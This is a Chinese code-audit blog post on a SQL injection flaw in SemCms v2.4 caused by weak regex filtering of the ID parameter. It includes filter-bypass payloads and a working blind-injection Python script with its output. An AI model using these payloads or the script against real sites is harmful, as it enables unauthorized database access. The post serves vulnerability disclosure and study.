最新消息:

SemCmsv2_4 Function_php文件过滤不严导致Sql注入

代码审计 Eternal 29772浏览 0评论

作者:Szrzvdny

Prat 0 自白

最近考试忽略了博客的更新,这里给大家道个歉。

本来是不像发的因为审计出来的时候发现春秋有老哥已经在审计了,然后并且发出来了。不过我发现我下载的这个版本正则代码有些不同,然后就于是就分析一下好了。

view.php

看文件第6-7行代码

include_once  './Include/web_inc.php';
include_once  './Templete/default/Include/Function.php';

可以看见,他是包含了两个文件,我们跟进看一下。

/Templete/default/Include/Function.php

看文件的9-32行代码

$ID=verify_id(@htmlspecialchars($_GET["ID"]));

继续看文件的551行代码

$query=mysql_query("select * from sc_products where ID =$ID ");

可以看见,他先是从GET中获取ID参数,然后带入Sql语句查询。不过在获取参数的同时用了verify_id方法。我们跟进看一下。

/Include/web_inc.php

在view.php文件包含了以下文件。

include_once ‘db_conn.php’; //数据库连接
include_once ‘web_sql.php’; //sql防注入
include_once ‘web_config.php’; //网站配置
include_once ‘general_function.php’; //邮件发送配置与防注入
OK,因为用的verify_id方法,所以我们跟进一下general_function.php文件。

/Include/general_function.php

function inject_check($sql_str) { // 防sql入注
    return preg_match('/select|insert|=|<|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i', $sql_str);
} 
function verify_id($ID) { 
   if(inject_check($ID)) { 
        exit('Sorry,You do this is wrong!');
    } 
    return $ID; 
}

可以看见,这段正则代码明显是有缺陷的,不过在web_inc.php中同时包含了web_sql.php文件

if (isset($_GET)){$GetArray=$_GET;}else{$GetArray='';} //get
if (isset($_COOKIE)){$CookArray=$_COOKIE;}else{$CookArray='';} //cookie
foreach ($GetArray as $value){//get  
    verify_str($value) 
}
foreach ($CookArray as $value){ //cookie    
    verify_str($value);  
}
function inject_check_sql($sql_str) {   
     return preg_match('/select|insert|=|<|and|update|delete|\'|\/\*|\*|union|into|load_file|outfile/i',$sql_str);   
} 
function verify_str($str) { 
   if(inject_check_sql($str)) {      
        exit('Sorry,You do this is wrong! (.-.)');       
    } 
    return $str;

这边的正则也无非增加了一点点难度,可以发现利用布尔盲注入还是很好绕过去的。

正则绕过

首先我们在sql语句中肯定不能出现and这类关键字。所以我们需要想办法来进行一个代替。

V@1n3R师傅的帮助下,我才知道还可以利用&&来代替and这种操作。

Test 1 第一步payload

payload:&& strcmp(left(user,1) 'r') like 0

首先要注意,&&在url传值中会导致被认为是参数拼接,所以需要进行一下url编码

payload1:%26%26 strcmp(left(user,1) 'r') like 0

不过当时没仔细看代码,导致了出现了个梗。

/Templete/default/Include/Function.php文件的第9行代码中,他在获取参数的时候使用了htmlspecialchars函数,所以导致&&带入查询的时候会导致被实体编码所以查询不成功,当时要不是实在忍不住下了个seay审计工具的mysql监测,我还真不知道问题出在哪里。

过滤单引号,hex编码下,最终payload

payload:http://127.0.0.1/about.php?ID=1 || strcmp(left(user(),1), 0x72) rlike 0 //返回错误
payload:http://127.0.0.1/about.php?ID=1 || strcmp(left(user(),1), 0x73) rlike 0 //返回正常

漏洞利用

因为比较麻烦,我就直接写了个脚本跑了,使用left函数的话会导致写poc变得更难(没逼格),于是使用了substr函数来代替。

import requests
sussess_str = "About us"
url = "http://127.0.0.1/about.php?ID=1"
#payload a-z 0-9 @的hex编码
payload = ["0x61","0x62","0x63","0x64","0x65",
           "0x66","0x67","0x68","0x69","0x6a",
           "0x6b","0x6c","0x6d","0x6e","0x6f",
           "0x70","0x71","0x72","0x73","0x74",
           "0x75","0x76","0x77","0x78","0x79",
           "0x7a","0x40","0x30","0x31","0x32",
           "0x33","0x34","0x35","0x36","0x37",
           "0x38","0x39"
           ]
user = ""
print("             SemCms V2.4 Poc")
print("                                 Author:Szrzvdny")
print("[*] url:" + url)
print("[*] 开始猜解user()")
for b in range(len(payload)):
    for a in payload:
        sql_payload_user = " || strcmp(substr(user(),%s,1), 0x%s) rlike 0" % (b+1,a.replace("0x",""))
        res = requests.get(url + sql_payload_user).text
        res1 = requests.get(url).text
        #print(url + sql_payload_user)
        if len(res) != len(res1):
            user = user + a
            print("[*]info : 0x" + user.replace("0x","").upper())
            break

返回结果为hex编码。
测试结果:

 SemCms V2.4 Poc
                                 Author:Szrzvdny
[*] url:http://127.0.0.1/about.php?ID=1
[*] 开始猜解user()
[*]info : 0x72
[*]info : 0x726F
[*]info : 0x726F6F
[*]info : 0x726F6F74
[*]info : 0x726F6F7440
[*]info : 0x726F6F74406C
[*]info : 0x726F6F74406C6F
[*]info : 0x726F6F74406C6F63
[*]info : 0x726F6F74406C6F6361
[*]info : 0x726F6F74406C6F63616C
[*]info : 0x726F6F74406C6F63616C68
[*]info : 0x726F6F74406C6F63616C686F
[*]info : 0x726F6F74406C6F63616C686F73
[*]info : 0x726F6F74406C6F63616C686F7374

解码结果:root@localhost

可能有人问,为啥要输出hex编码,因为这样逼格高。

不然我为啥手动写hex编码0-9@a-z呢?

原文链接:https://www.inksec.cn/2017/12/26/code_audit_one

转载请注明:即刻安全 » SemCmsv2_4 Function_php文件过滤不严导致Sql注入

您必须 登录 才能发表评论!



合作伙伴